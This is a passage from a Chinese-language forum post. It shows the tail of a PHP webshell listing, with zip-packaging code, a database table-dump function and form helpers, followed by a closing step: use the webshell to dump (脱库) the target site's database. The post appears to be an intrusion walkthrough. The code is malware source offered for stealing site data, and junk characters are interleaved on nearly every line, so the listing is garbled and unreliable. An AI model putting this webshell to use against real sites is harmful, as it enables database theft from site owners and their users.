  1702.                         }6 k- s4 g' G+ N
  1703.                 }
    6 d9 w! \# ]8 k( B
  1704.                 return $a;
    2 [9 I' q6 h" f2 i0 f4 _0 n
  1705.         }
    - U$ L* s. g7 g

  1706. ( ^. _! y  F4 p5 ]
  1707.         var $datasec      = array();  u9 X  M( x- x' U  [# [& X
  1708.         var $ctrl_dir     = array();, t# P; J. ^) S) J6 E. A9 G
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";% P/ j9 l2 A! @7 z( \1 a* M
  1710.         var $old_offset   = 0;
    % [5 K$ n& T# J5 v% N, l2 k
  1711. . o. }' U! G& N7 b  F, n  x, @& m9 L
  1712.         function unix2DosTime($unixtime = 0) {) p- j4 ?( e6 B) a
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);, |$ Z- W# a. S7 R; z) z
  1714.                 if ($timearray['year'] < 1980) {
    # P' y1 u9 t( h, j/ P5 \* z- T0 w  U
  1715.                         $timearray['year']    = 1980;
    0 ]0 Q! Q& u' S6 A( K- [
  1716.                         $timearray['mon']     = 1;
    5 S; [- X1 W3 U
  1717.                         $timearray['mday']    = 1;3 C2 e8 ?' r( c8 |3 }
  1718.                         $timearray['hours']   = 0;
      c/ X2 W, A. i. I5 W: b1 o
  1719.                         $timearray['minutes'] = 0;
    8 F# A  k7 {, W* g
  1720.                         $timearray['seconds'] = 0;
    ' A2 \4 {* v6 o+ l% q
  1721.                 } // end if( {# w% X" l( A- h2 V
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
    2 u! g& B( y! l! l5 w
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    & Z& P$ w+ M. h; _
  1724.         }! c+ A/ ^+ O2 A6 M8 {, K
  1725.         function addFile($data, $name, $time = 0) {4 c' c1 f+ ]! d$ x" V3 r! H
  1726.                 $name = str_replace('\\', '/', $name);
    / i  Z9 @: m$ Q* @* m3 ^9 L0 n, h
  1727.                 $dtime = dechex($this->unix2DosTime($time));
    3 [5 n2 g4 R/ {& [  a
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]0 r) c% Y- P1 \) A" z
  1729.                                         . '\x' . $dtime[4] . $dtime[5]/ k) x$ {0 n# v% g: `1 J/ F) W
  1730.                                         . '\x' . $dtime[2] . $dtime[3]8 w6 z4 Q6 q4 h" U3 j0 b
  1731.                                         . '\x' . $dtime[0] . $dtime[1];, T' V5 ?2 x3 T& B' N5 d1 e4 A
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');; e) [$ V; J7 W9 i
  1733.                 $fr        = "\x50\x4b\x03\x04";5 L9 \% ~, k: c/ B9 j$ c* d
  1734.                 $fr        .= "\x14\x00";
    : T; n5 `0 p" o# l& }- C
  1735.                 $fr        .= "\x00\x00";
    0 `* A. {( l/ A
  1736.                 $fr        .= "\x08\x00";
    7 Z3 G1 t) ?7 z
  1737.                 $fr        .= $hexdtime;
    7 z) Y& X3 d) w% i+ J
  1738.                 $unc_len = strlen($data);+ l8 ~9 R/ M2 o. n4 }1 A1 @; y3 T
  1739.                 $crc = crc32($data);
    1 @  y* c* k  U7 N1 v, n) o2 a
  1740.                 $zdata = gzcompress($data);
    , f4 ]8 p5 o2 o1 A
  1741.                 $c_len = strlen($zdata);
    0 H% {8 M  X! t  E
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);5 h/ I% g4 P' |" ]' o
  1743.                 $fr .= pack('V', $crc);
    $ J" U( j* M) @. T) X' M4 q
  1744.                 $fr .= pack('V', $c_len);5 _/ L/ D1 S2 r% y& Z- z
  1745.                 $fr .= pack('V', $unc_len);* {8 y/ e$ O7 {2 j# f: S3 q8 f
  1746.                 $fr .= pack('v', strlen($name));
    9 K) P. \# q& X9 z% X' T
  1747.                 $fr .= pack('v', 0);
    0 C7 c' L0 h  V! H
  1748.                 $fr .= $name;
    1 ?3 P, u; `2 l$ Q1 ~) e
  1749.                 $fr .= $zdata;) C" J8 W' u! D- y( z( F' ?7 Y2 [
  1750.                 $fr .= pack('V', $crc);
    " t3 _# e2 W$ u4 V8 w
  1751.                 $fr .= pack('V', $c_len);
    6 u8 H5 e) C; z  q: M0 b# g
  1752.                 $fr .= pack('V', $unc_len);$ |' d9 C( |. ^: {4 n" l! Y
  1753.                 $this -> datasec[] = $fr;
    + f0 j9 @2 x+ f$ O7 o
  1754.                 $new_offset = strlen(implode('', $this->datasec));" n( X, k7 Z& o/ S( O6 r
  1755.                 $cdrec = "\x50\x4b\x01\x02";- C4 U  a0 S! `( ?. b. w. n
  1756.                 $cdrec .= "\x00\x00";
    7 h  }2 v0 F1 `" }1 ?
  1757.                 $cdrec .= "\x14\x00";
    ( P' M' `+ a! Q
  1758.                 $cdrec .= "\x00\x00";
    $ I- U- c0 U2 K1 O; L
  1759.                 $cdrec .= "\x08\x00";
    # _+ y% m. }* i; S; l
  1760.                 $cdrec .= $hexdtime;
    & K# S) ], Q  \' e$ E5 t
  1761.                 $cdrec .= pack('V', $crc);3 E7 O% L" u; ^7 t
  1762.                 $cdrec .= pack('V', $c_len);3 H$ Z. Y! n2 ~4 f; x" u# s# k
  1763.                 $cdrec .= pack('V', $unc_len);
    - a" D! j0 M6 Q% |: t
  1764.                 $cdrec .= pack('v', strlen($name) );
    0 C- f! ^+ ~( z, u
  1765.                 $cdrec .= pack('v', 0 );
    * v& z$ q7 k3 @& E8 M# R! D! s+ E2 X
  1766.                 $cdrec .= pack('v', 0 );
    1 n" |: E: T* u) V- W
  1767.                 $cdrec .= pack('v', 0 );  i+ F) H4 ]/ j( K1 w
  1768.                 $cdrec .= pack('v', 0 );
    ) v0 Q" [* F1 Z3 L2 W+ o
  1769.                 $cdrec .= pack('V', 32 );9 Z% Y! M- V  W
  1770.                 $cdrec .= pack('V', $this -> old_offset );; Q+ `5 u6 \" ?4 |6 w+ |5 x
  1771.                 $this -> old_offset = $new_offset;0 m; u, A' a1 O3 m" ?5 J8 S
  1772.                 $cdrec .= $name;
    8 N' r0 C, q& i! w
  1773.                 $this -> ctrl_dir[] = $cdrec;
    " Z: |0 t" T" x8 Z3 g! @
  1774.         }+ _- H- G9 c6 T6 J/ [6 _' A
  1775.         function file() {$ D* |2 {( B  Q
  1776.                 $data    = implode('', $this -> datasec);
    1 F+ g( F# R+ N) y5 O% T4 s6 L: z  U, x
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);
    : j$ Z' t0 v( M7 d8 P) ^$ Y9 |9 r
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";# k. f7 [2 U  c1 O
  1779.         }
    ( Z( e0 j: l; b. t$ g/ a, j- G
  1780. }( F0 s! }+ y8 T0 s3 P* s
  1781. // 备份数据库* I$ N3 f* b& }4 ]/ R) P$ z
  1782. function sqldumptable($table, $fp=0) {
    ; s) d) H/ M, Z( ~5 J
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";" V; `/ e  [9 J; x/ k" v1 f
  1784.         $tabledump .= "CREATE TABLE $table (\n";
    . `9 C! y* N0 T: v6 [
  1785.         $firstfield=1;
    ( e* V7 J, S' C' T$ }
  1786.         $fields = q("SHOW FIELDS FROM $table");5 A2 G9 P3 k( W' d$ ^  w
  1787.         while ($field = mysql_fetch_array($fields)) {- x: S; n/ i  E  ~  ~0 A
  1788.                 if (!$firstfield) {0 f/ d( Z( y/ y9 C* O0 ?
  1789.                         $tabledump .= ",\n";
    ' E/ p. }6 m8 n3 x, Q# E$ a
  1790.                 } else {
    . G+ A4 M. W" j8 R& Z3 w
  1791.                         $firstfield=0;; L# X% d$ l5 j% T" z5 F: p" \
  1792.                 }
    ; b/ n# h3 s. y8 P! |7 g) \1 Y
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
    - M, R+ ^: B5 L  C3 ~. i
  1794.                 if (!empty($field["Default"])) {! o% t  T. q! Q# B5 u" Z
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";
    & M$ r( `' T0 Y
  1796.                 }
    5 H- q. U; J6 D  Z. }+ }5 l
  1797.                 if ($field['Null'] != "YES") {" e7 @$ k: q- X. Q5 r! }5 |% i
  1798.                         $tabledump .= " NOT NULL";
    6 T: ]: K+ A: q/ L2 f- G
  1799.                 }& K" |( F& L: x8 T5 E/ U5 y3 h
  1800.                 if ($field['Extra'] != "") {3 v* M% A0 Y* I3 Q# s
  1801.                         $tabledump .= " $field[Extra]";$ M; i& O# ^+ [' m
  1802.                 }* t$ g7 n6 T- c# l# O: f8 w
  1803.         }7 Y% Z0 y5 A7 B# @5 j3 h
  1804.         fr($fields);, n( P' P* j; u8 m+ T, S; z% Y
  1805.         $keys = q("SHOW KEYS FROM $table");7 R+ j" O/ T7 {& H0 Q" J5 g. C( Y
  1806.         while ($key = mysql_fetch_array($keys)) {
    / z( W' I- J. g4 \+ N+ v; X% h9 @
  1807.                 $kname=$key['Key_name'];9 B7 {- m- P4 |( \0 V* K
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
    5 {* g% k6 }; n  c; g2 B0 K2 l
  1809.                         $kname="UNIQUE|$kname";: c8 T5 W0 f2 V( [
  1810.                 }6 d0 n6 H' k; F5 T, B
  1811.                 if(!is_array($index[$kname])) {
    : n) r$ b( x( G) j
  1812.                         $index[$kname] = array();9 c  k0 B! m1 x: _
  1813.                 }# k, R! {6 e$ f! B( O& j
  1814.                 $index[$kname][] = $key['Column_name'];! Q) Q- k' X) i- v" x2 `
  1815.         }8 x- k! i6 K5 Z8 G. L" ]3 ^
  1816.         fr($keys);
    2 p& ~& [: _; _& \1 m8 V$ Q3 o* {
  1817.         while(list($kname, $columns) = @each($index)) {
    ! J7 g+ `2 D5 r
  1818.                 $tabledump .= ",\n";7 A% U, c0 g" Y
  1819.                 $colnames=implode($columns,",");
    " C) s0 k" q2 i. d. w* z( `
  1820.                 if ($kname == "PRIMARY") {
    / ?9 ?5 n7 U2 g4 M8 Y
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    0 v' w' a( T; `" u0 i
  1822.                 } else {% N! m% E+ N7 K
  1823.                         if (substr($kname,0,6) == "UNIQUE") {
    1 g3 r4 }1 \. e; C
  1824.                                 $kname=substr($kname,7);
    ' o0 P4 l0 r' `
  1825.                         }* Q3 c6 n0 l8 y# {8 D6 Y
  1826.                         $tabledump .= "   KEY $kname ($colnames)";) K  i3 {7 z+ N2 N0 S, Z% R
  1827.                 }$ F& C6 X" N- z( K8 `2 U
  1828.         }
    5 a2 K4 R+ X3 M( P- R4 a0 _
  1829.         $tabledump .= "\n);\n\n";0 [# ^2 i- w, }! \: x
  1830.         if ($fp) {& H4 h7 |+ a3 K8 \2 H2 ^% H
  1831.                 fwrite($fp,$tabledump);; Q! f) C! Y, y0 j8 Z8 T' Q( v
  1832.         } else {9 j8 C! @! }) B( Y4 ]
  1833.                 echo $tabledump;) {- C* M8 _1 |" B* y+ M' S9 ]
  1834.         }8 p# U, S; c) x, \& t  E
  1835.         $rows = q("SELECT * FROM $table");
    * W4 v+ G4 W0 k6 i0 D& S
  1836.         $numfields = mysql_num_fields($rows);# S+ P& Y5 v+ J3 l, O9 O
  1837.         while ($row = mysql_fetch_array($rows)) {
    & S; t; F3 j, d9 A1 r7 h
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
      Z& r0 _2 D9 X' K* r! E8 I
  1839.                 $fieldcounter=-1;" d1 v+ _8 R4 P0 r
  1840.                 $firstfield=1;6 _9 C  f' {4 }4 }" g
  1841.                 while (++$fieldcounter<$numfields) {0 ?1 [/ V1 K: _1 S% B
  1842.                         if (!$firstfield) {
    : C1 G+ M7 @0 P$ S+ d+ |  G( ?5 y
  1843.                                 $tabledump.=", ";( @& p& o% z4 F, R! h! [9 L
  1844.                         } else {/ f. w( `8 c4 g+ A' E! r) m
  1845.                                 $firstfield=0;
    ! ?1 O, Y; A: A
  1846.                         }
    . {9 Q/ Q0 \9 {/ N* g
  1847.                         if (!isset($row[$fieldcounter])) {
    , E6 C1 y# j5 a1 h: _
  1848.                                 $tabledump .= "NULL";
    ' \, u0 B& V. e4 ~0 z& j0 f- u0 B# p
  1849.                         } else {
    1 P! C/ r1 O8 f4 v( B& h$ T8 H
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";9 S, M1 L# f' Z! q, K# e' Q
  1851.                         }
    # C9 `& G* E( l- c/ A5 a# D
  1852.                 }
    ( v8 D4 L( i: E8 E9 T/ N+ j
  1853.                 $tabledump .= ");\n";3 Z' t% j" l1 r" m
  1854.                 if ($fp) {
    ( U" z4 ~5 Z" d; }& t  i& D, s7 Z
  1855.                         fwrite($fp,$tabledump);
    3 m5 }# I! F$ J+ y7 v
  1856.                 } else {
    # b4 f" e; \% f$ o
  1857.                         echo $tabledump;
    - w7 I0 q1 q! g  ^! [& O
  1858.                 }
    0 K' @+ r2 k5 Q0 t$ r% R9 d* _# U
  1859.         }9 F) {  M( _1 |: T+ @0 i0 K- ]6 y
  1860.         fr($rows);
    . Q1 H% I: @. n* R
  1861.         if ($fp) {% W) |4 A1 T8 Z) P7 e. _
  1862.                 fwrite($fp,"\n");
    7 O( P+ x- T( Z- z" w* x
  1863.         } else {
    - q0 s  ~3 z* q; U
  1864.                 echo "\n";8 Z2 H# u! u2 g  ^; L& s. m" ?5 D$ _
  1865.         }
    1 c1 f9 H3 B8 k" f. |
  1866. }4 W# E# e* R8 Y1 D
  1867. function ue($str){
    ! @/ s/ J, U- x, s! I
  1868.         return urlencode($str);
    ! m* ?' ]  {& }* W4 \
  1869. }
    " [9 e  d' |# N
  1870. function p($str){) N2 S! R6 e* s) O7 ~
  1871.         echo $str."\n";; ~7 K7 W, {% Z. r- B2 U
  1872. }1 O* Z8 h  A3 {: A/ t1 R
  1873. function tbhead() {
    - X  N4 e- I5 W, j7 Y
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    % p+ U1 ], b. H& W
  1875. }
    4 r- h( e6 Q! f0 f" w7 |# c
  1876. function tbfoot(){
    + K, C% T4 ?4 n4 b
  1877.         p('</table>');2 V  k: t7 _! w* p
  1878. }( ~5 S9 ]" j: y2 q* a9 n
  1879. function makehide($name,$value=''){
    2 G  S( ~6 E! m/ X  t  P0 t
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");
    ! v" a  [/ j' m. u5 d' }
  1881. }8 e+ q* [, L$ o1 _4 E
  1882. function makeinput($arg = array()){
    ' u' L" v% N  X! ?
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";: x& d- D+ c( J0 B7 Z, F& Y1 E( n" D# ~
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';, q) Y2 f& [9 M3 S* }  W$ s
  1885.         !$arg['type'] && $arg['type'] = 'text';9 h! W# P3 v/ W$ A
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    + @8 H" R9 H1 O3 F* J
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
    - W' `5 _; V/ c$ Q9 M. t
  1888.         if ($arg['newline']) {
    - y  `0 d8 l/ E2 ~! \% T# o9 q: Y) e
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");" E+ Y2 y2 R; n1 \
  1890.         } else {
    , I2 T: l. l* F) s9 n4 q
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    ' N9 I% t" B/ d, t8 }* e! _
  1892.         }4 B5 K# s+ o% `' H/ q
  1893. }( U+ a$ s$ w, n2 F$ f. C
  1894. function makeselect($arg = array()){2 W; q5 [# b6 E: a% p3 D% T
  1895.         if ($arg['onchange']) {& V8 t, A% z! s3 \" S3 _* Q- w
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';
      h: y. ], |! V7 }
  1897.         }
    0 D9 T6 Z  o: G
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    ; w/ r2 G+ g: N
  1899.         if ($arg['newline']) p('<p>');
    & k( z/ u" W" ~! E. y8 G0 _
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");
    9 A" A! I5 o1 z5 w/ p) U) |
  1901.                 if (is_array($arg['option'])) {" s8 J( C: U! ]
  1902.                         foreach ($arg['option'] as $key=>$value) {* N; B* w6 g+ V# P( Q5 C& ]# W( W- j
  1903.                                 if ($arg['selected']==$key) {- ~0 x: K/ q. }& Z* H4 O& A3 o8 p
  1904.                                         p("<option value="$key" selected>$value</option>");
    & k' T2 H0 r# f6 x4 L; z
  1905.                                 } else {
    : {' G, U( Q; a
  1906.                                         p("<option value="$key">$value</option>");
    * g8 v) H# y4 c: ?+ k
  1907.                                 }
    2 U7 ~' N+ I/ E$ X+ \7 N
  1908.                         }7 {& G$ {% ~4 I+ t1 W( N9 F
  1909.                 }4 @$ }! Y% p: i' u& Y* b  O" k+ v" U
  1910.         p("</select>");
    8 |$ D  j# H: a& t, ?4 {* t9 S0 n
  1911.         if ($arg['newline']) p('</p>');
    , N; ]5 x  L- g& h% m6 u
  1912. }+ m; L0 t# b3 {1 g. K
  1913. function formhead($arg = array()) {
    & B/ ^  L9 G$ L8 B
  1914.         !$arg['method'] && $arg['method'] = 'post';' Y) e% C  Y, \  `- [0 w# i+ b, \8 V$ I: o
  1915.         !$arg['action'] && $arg['action'] = $self;$ \: b5 }* r' V) E
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';9 z: `6 g& f# {5 q% c
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    ' F3 R$ P7 c6 C, p. M
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");
    , o6 M1 @9 z) d) a2 u; b
  1919.         if ($arg['title']) {. |. W, |0 Y0 w; _! R
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
      x+ v5 f3 U  \) f9 u% c
  1921.         }
    3 `. ^1 }. b0 d! g) W4 T
  1922. }
    7 L7 l) _, k, [5 p# W4 M% l% x$ a
  1923.        
    7 [) {2 P" ?' @; W0 ~
  1924. function maketext($arg = array()){/ N/ l: f. A" ~$ r
  1925.         !$arg['cols'] && $arg['cols'] = 100;8 _6 c) g  w! O7 i& l
  1926.         !$arg['rows'] && $arg['rows'] = 25;
    1 X  N, J. _' ]6 V
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    8 G# B0 I9 D( {
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");/ M1 u5 [5 ^0 |: x2 g; H; n
  1929. }7 \( @9 P4 p0 u- d) Q# l! m7 T

  1930. 2 B! F9 E2 c( V- ^% E' R$ G" B
  1931. function formfooter($name = ''){' w! K+ a3 x  b, m: ?8 O/ F
  1932.         !$name && $name = 'submit';
    + P5 [: r- z) e9 n5 \( Q) V: J
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
    & h8 g/ C. o& T& t0 X# [
  1934.         p('</form>');
    + i6 B0 F6 `* s0 Z; p8 Q, z8 E7 V
  1935. }
    . H8 C7 _8 V7 L7 [% A7 t# q

  1936. : G% I% n' m  n7 G: x% H  h
  1937. function formfoot(){
    ! I4 B1 a( M" l0 p+ G) r5 y  c
  1938.         p('</form>');& F1 o, p' w' R) @
  1939. }* h& `3 G* J; Z% c# n

  1940. . x4 Y- V3 l# Y8 R4 t- Y3 x
  1941. // 调试函数$ ~: f( x( q: ]% y9 w! ]7 V
  1942. function pr($a) {
    . i# d5 ]4 `" D+ |1 u3 }
  1943.         echo '<pre>';
    ) J; Q7 \- m! Z) _
  1944.         print_r($a);; U* n- m8 W) g) F+ ]# J
  1945.         echo '</pre>';
    : Y  e6 w6 E" W- b/ a8 a
  1946. }
    4 v% G" \2 N+ v* I# Z

  1947. : W) F; C. s# y5 ]* X: H
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库' X' A/ I# q3 k- z

% |4 w3 R7 r: a! J( G' s

) ~; ]7 @. X' A. G4 e  `
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-8-5 03:25 PM , Processed in 0.104473 second(s), 22 queries .

Powered by xyh-moon X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表